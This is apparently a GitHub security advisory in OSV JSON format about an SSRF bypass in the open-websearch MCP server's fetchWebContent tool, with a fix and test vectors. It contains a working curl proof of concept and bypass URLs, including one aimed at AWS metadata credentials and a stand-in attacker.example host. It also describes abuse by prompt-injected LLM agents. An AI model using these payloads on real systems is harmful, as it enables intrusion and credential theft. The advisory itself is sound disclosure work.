{"id":"GHSA-v228-72c7-fx8j","summary":"open-websearch has SSRF in `fetchWebContent` MCP tool: bracketed IPv6 literals and non-resolving hostname check bypass `isPrivateOrLocalHostname`","details":"### Summary\n`src/utils/urlSafety.ts` exposes `isPublicHttpUrl` / `assertPublicHttpUrl`, used to gate the MCP `fetchWebContent` tool against private-network targets. The check has two defects that together allow **non-blind SSRF with the response body returned to the caller**:\n\n1. **Bracketed IPv6 literals are never recognized.** Node's WHATWG `URL.hostname` keeps the surrounding `[…]` for IPv6 literals. `isIP(\"[::1]\")` returns 0 (not 6), so neither `isPrivateIpv4` nor `isPrivateIpv6` is ever called on an IPv6 literal input — including `[::1]` itself, and including every IPv4-mapped form such as `[::ffff:7f00:1]` (= 127.0.0.1 via the IPv4 stack).\n2. **No DNS resolution.** `isPrivateOrLocalHostname` only inspects the literal `hostname` string. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, and `axios` then performs its own resolution and connects to the private address.\n\nThe `isPrivateIpv6` implementation also has the hex bypass (it would miss `::ffff:7f00:1` even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.\n\nThe `fetchWebContent` tool returns the response body (`JSON.stringify(result)`) to the MCP caller, so the SSRF is non-blind.\n\n### Details\n\u003c!-- obsidian --\u003e\u003cp\u003e\u003cstrong\u003eVulnerable function\u003c/strong\u003e — \u003ccode\u003esrc/utils/urlSafety.ts:95-119\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003eexport function isPrivateOrLocalHostname(hostname: string): boolean {\n  const host = hostname.trim().toLowerCase();\n  if (!host) return true;\n  if (host === 'localhost' || host.endsWith('.localhost')) return true;\n  if (host === 'metadata.google.internal' || host === 'metadata.azure.internal') return true;\n  const integerIp = parseIntegerIpv4Literal(host);\n  if (integerIp &#x26;&#x26; isPrivateIpv4(integerIp)) return true;\n  if (isPrivateOrLocalIp(host)) return true;   // only runs if isIP(host) ∈ {4, 6}\n  return false;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eisPrivateOrLocalIp\u003c/code\u003e — \u003ccode\u003esrc/utils/urlSafety.ts:84-93\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003efunction isPrivateOrLocalIp(ip: string): boolean {\n  const version = isIP(ip);  // returns 0 for \"[::1]\", \"[::ffff:7f00:1]\", any bracketed literal\n  if (version === 4) return isPrivateIpv4(ip);\n  if (version === 6) return isPrivateIpv6(ip);\n  return false;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eCaller — \u003ccode\u003esrc/tools/setupTools.ts:252-286\u003c/code\u003e (\u003ccode\u003efetchWebContent\u003c/code\u003e tool):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003eserver.tool(\n  fetchWebToolName,  // default: \"fetchWebContent\"\n  \"Fetch content from a public HTTP(S) URL ...\",\n  { url: z.string().url().refine(\n      (url) =\u003e validatePublicWebUrl(url),   // → isPublicHttpUrl → isPrivateOrLocalHostname\n      \"URL must be a public HTTP(S) address ...\"\n    ), /* … */ },\n  async ({url, maxChars}) =\u003e {\n    const result = await runtime.services.fetchWeb.execute({ url, maxChars, /*…*/ });\n    return { content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] };\n  }\n);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eService — \u003ccode\u003esrc/engines/web/fetchWebContent.ts:313-375\u003c/code\u003e: re-validates via \u003ccode\u003eassertPublicHttpUrl\u003c/code\u003e (same broken check), then calls \u003ccode\u003eaxios.head\u003c/code\u003e + \u003ccode\u003eaxios.get\u003c/code\u003e on the raw URL and returns \u003ccode\u003eresponse.data\u003c/code\u003e and \u003ccode\u003eresponse.headers\u003c/code\u003e to the caller.\u003c/p\u003e\n\u003cp\u003eTransport — \u003ccode\u003esrc/index.ts:85-253\u003c/code\u003e: when \u003ccode\u003econfig.enableHttpServer\u003c/code\u003e is true (documented configuration; enabled by the Docker image), the MCP server binds on \u003ccode\u003e0.0.0.0:${PORT}\u003c/code\u003e (default \u003ccode\u003e3000\u003c/code\u003e) with CORS \u003ccode\u003eorigin: '*'\u003c/code\u003e and \u003cstrong\u003eno authentication\u003c/strong\u003e on \u003ccode\u003e/mcp\u003c/code\u003e (Streamable HTTP) or \u003ccode\u003e/sse\u003c/code\u003e (legacy SSE). Anyone who can reach the port can invoke any tool.\u003c/p\u003e\n\u003ch3 data-heading=\"Verification of the validator (run against current &#x60;HEAD&#x60;)\"\u003eVerification of the validator (run against current \u003ccode\u003eHEAD\u003c/code\u003e)\u003c/h3\u003e\n\u003cp\u003eI executed the real \u003ccode\u003eisPublicHttpUrl\u003c/code\u003e / \u003ccode\u003eassertPublicHttpUrl\u003c/code\u003e from \u003ccode\u003esrc/utils/urlSafety.ts\u003c/code\u003e under \u003ccode\u003etsx\u003c/code\u003e against a set of inputs:\u003c/p\u003e\n\nInput URL | parsed.hostname | isPublicHttpUrl | assertPublicHttpUrl\n-- | -- | -- | --\nhttp://[::ffff:7f00:1]/ (127.0.0.1) | [::ffff:7f00:1] | true ← bypass | PASSED ← bypass\nhttp://[::ffff:a9fe:1]/ (169.254.0.1) | [::ffff:a9fe:1] | true ← bypass | PASSED ← bypass\nhttp://[::ffff:a00:1]/ (10.0.0.1) | [::ffff:a00:1] | true ← bypass | PASSED ← bypass\nhttp://[::ffff:127.0.0.1]/ | [::ffff:7f00:1] | true ← bypass | PASSED ← bypass\nhttp://[0:0:0:0:0:0:0:1]/ | [::1] | true ← bypass | PASSED ← bypass\nhttp://[::1]/ (plain loopback!) | [::1] | true ← bypass | PASSED ← bypass\nhttp://127.0.0.1/ (control) | 127.0.0.1 | false (blocked) | threw (blocked)\nhttp://localhost/ (control) | localhost | false (blocked) | threw (blocked)\n\n\n\u003cp\u003eWHATWG \u003ccode\u003enew URL(\"http://[::ffff:127.0.0.1]/\").hostname\u003c/code\u003e returns \u003ccode\u003e[::ffff:7f00:1]\u003c/code\u003e — note that Node's URL parser actively re-encodes the dotted form to hex, helping the bypass. Every bracketed IPv6 literal passes the validator.\u003c/p\u003e\n\u003ch3 data-heading=\"Verification of the fetch (Node 22/25)\"\u003eVerification of the fetch (Node 22/25)\u003c/h3\u003e\n\u003cp\u003eI bound a trivial HTTP server to \u003ccode\u003e127.0.0.1:29999\u003c/code\u003e and called \u003ccode\u003eaxios.get(\"http://[::ffff:7f00:1]:29999/\")\u003c/code\u003e from Node; the request reached the server:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e  HIT: / from 127.0.0.1 family IPv4\nhttp://[::ffff:7f00:1]:29999/ -\u003e 200 &#x3C;html\u003einternal content&#x3C;/html\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe OS routes \u003ccode\u003e::ffff:X.X.X.X\u003c/code\u003e connections through the IPv4 stack, so the PoC works identically across macOS and Linux.\u003c/p\u003e\n\nEnvironment: clean clone of `Aas-ee/open-webSearch@HEAD`, Node 22+.\n\n**1. Start the MCP HTTP server.**\n\n```bash\ngit clone https://github.com/Aas-ee/open-webSearch.git\ncd open-webSearch\nnpm install && npm run build\nMODE=http PORT=3000 node build/index.js &\n```\n\n**2. Stand up a canary on loopback.**\n\n```bash\nnode -e '\n  require(\"http\").createServer((q,r)=\u003e{\n    console.log(\"[canary]\", q.method, q.url, \"from\", q.socket.remoteAddress);\n    r.writeHead(200, {\"content-type\":\"text/html\"});\n    r.end(\"INTERNAL-SECRET: canary-hit for \" + q.url);\n  }).listen(19999, \"127.0.0.1\", () =\u003e console.log(\"canary on 127.0.0.1:19999\"));\n' &\n```\n\n**3. Open an MCP session and call `fetchWebContent` with the bypass URL.**\n\n```bash\n# Accept header must include both JSON and SSE for Streamable HTTP transport.\nACCEPT='application/json, text/event-stream'\n\n# initialize → grab the mcp-session-id header\nSID=$(curl -sSD - -o /dev/null -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-03-26\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0\"}}}' \\\n  | awk 'tolower($1)==\"mcp-session-id:\" { gsub(/\\r/,\"\"); print $2 }')\n\n# notifications/initialized\ncurl -sS -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H 'Content-Type: application/json' -H \"mcp-session-id: $SID\" \\\n  -d '{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}' \u003e/dev/null\n\n# call fetchWebContent with the SSRF bypass URL\ncurl -sS -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H 'Content-Type: application/json' -H \"mcp-session-id: $SID\" \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\n        \"name\":\"fetchWebContent\",\n        \"arguments\":{\"url\":\"http://[::ffff:7f00:1]:19999/internal\",\"maxChars\":10000}\n      }}'\n```\n\nExpected result: the canary logs `[canary] GET /internal from 127.0.0.1`, and the MCP response contains `INTERNAL-SECRET: canary-hit for /internal` in the tool's `content[0].text`.\n\nAdditional bypass vectors that work the same way:\n\n- `http://[::1]:\u003cport\u003e/` — plain IPv6 loopback.\n- `http://[::ffff:a9fe:1]/latest/meta-data/iam/security-credentials/` — AWS EC2 metadata over the IPv4 stack.\n- `http://attacker.example/` where `attacker.example` has A/AAAA pointing at any private address — bypasses via defect (2), no IPv6 trick needed.\n\n### Impact\n\n- **Cross-tenant SSRF with full response body.** Any client that can speak MCP to the HTTP transport can fetch arbitrary private-network URLs and receive the response body. AWS EC2 metadata, internal dashboards, loopback services, RFC1918 neighbours — all in scope.\n- **Pre-auth when `enableHttpServer` is set.** No authentication layer exists on `/mcp` or `/sse`; CORS is `*`.\n- **DNS-rebinding / LAN-victim angle.** Because `/mcp` is CORS `*` and accepts `POST`, a victim who visits an attacker-controlled webpage while running open-webSearch locally will have their browser used to send tool-call requests, and the tool's response can be exfiltrated back via a simple XHR.\n- **Exploitable over stdio too.** Even with HTTP disabled, a compromised or prompt-injected MCP client can call `fetchWebContent` against loopback on the host running the server — a realistic LLM-agent-abuse vector.\n\nNo meaningful mitigation in the call chain: only `http://` and `https://` schemes are accepted, but that is not a restriction for SSRF.\n\n### Suggested fix\n\nTwo changes, either of which individually closes most of the gap; both together close it fully.\n\n1. **Normalize the hostname before IP checks, and perform a DNS resolution.** Use the `ip-address` package or a similar canonicalizer, and reject any `getaddrinfo` result whose IP falls in a private CIDR. Keep a bracket-stripping step for IPv6 literals before calling `isIP()`.\n\n    ```ts\n    import { lookup } from 'node:dns/promises';\n    import { Address4, Address6 } from 'ip-address';\n\n    function stripBrackets(h: string): string {\n      return h.startsWith('[') && h.endsWith(']') ? h.slice(1, -1) : h;\n    }\n\n    const BLOCKED_V6_CIDRS = [\n      '::1/128', '::/128',\n      'fc00::/7', 'fe80::/10',\n      '2001:db8::/32', '2002::/16', '64:ff9b::/96',\n      '100::/64', 'ff00::/8',\n      '::ffff:0:0/96',   // IPv4-mapped — delegate to v4 check\n    ];\n\n    function ipv6IsPrivate(addr6: Address6): boolean {\n      const v4 = addr6.to4();\n      if (v4 && v4.isValid()) return isPrivateIpv4(v4.address);\n      return BLOCKED_V6_CIDRS.some(cidr =\u003e addr6.isInSubnet(new Address6(cidr)));\n    }\n\n    export async function assertPublicHttpUrl(url: URL | string, label = 'URL') {\n      const parsed = typeof url === 'string' ? new URL(url) : url;\n      if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') throw …;\n      const host = stripBrackets(parsed.hostname);\n\n      // Literal IP case.\n      const v = isIP(host);\n      if (v === 4 && isPrivateIpv4(host)) throw …;\n      if (v === 6 && ipv6IsPrivate(new Address6(host))) throw …;\n\n      if (v === 0) {\n        // Hostname — resolve and check every record.\n        const records = await lookup(host, { all: true, verbatim: true });\n        for (const r of records) {\n          if (r.family === 4 && isPrivateIpv4(r.address)) throw …;\n          if (r.family === 6 && ipv6IsPrivate(new Address6(r.address))) throw …;\n        }\n      }\n    }\n    ```\n\n2. **Dual-pin the connection.** Even a perfect pre-connect check has TOCTOU gaps (DNS rebinding between check and `axios.get`). Use a custom `undici` `Agent` whose `connect` hook validates the actual connected socket IP via `socket.remoteAddress`. That closes the rebinding window.\n\n3. **Gate the HTTP transport.** Require a bearer token (env var) on `/mcp` and `/sse`, and restrict binding to `127.0.0.1` by default. CORS `*` plus no-auth on `0.0.0.0` is the same exposure profile as an unauthenticated open proxy.\n\nTest vectors to add to the suite:\n\n```ts\nfor (const url of [\n  'http://[::1]/', 'http://[::]/',\n  'http://[::ffff:127.0.0.1]/', 'http://[::ffff:7f00:1]/',\n  'http://[0:0:0:0:0:ffff:127.0.0.1]/',\n  'http://[0:0:0:0:0:0:0:1]/', 'http://[::0:1]/', 'http://[0:0::1]/',\n  'http://[::ffff:a00:1]/', 'http://[::ffff:c0a8:1]/', 'http://[::ffff:a9fe:1]/',\n]) expect(isPublicHttpUrl(url)).toBe(false);","aliases":["CVE-2026-42260"],"modified":"2026-05-13T16:38:44.560796Z","published":"2026-05-05T20:51:45Z","database_specific":{"github_reviewed_at":"2026-05-05T20:51:45Z","nvd_published_at":"2026-05-12T15:16:15Z","cwe_ids":["CWE-20","CWE-693","CWE-918"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42260"},{"type":"PACKAGE","url":"https://github.com/Aas-ee/open-webSearch"}],"affected":[{"package":{"name":"open-websearch","ecosystem":"npm","purl":"pkg:npm/open-websearch"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.7"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.1.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-v228-72c7-fx8j/GHSA-v228-72c7-fx8j.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"}]}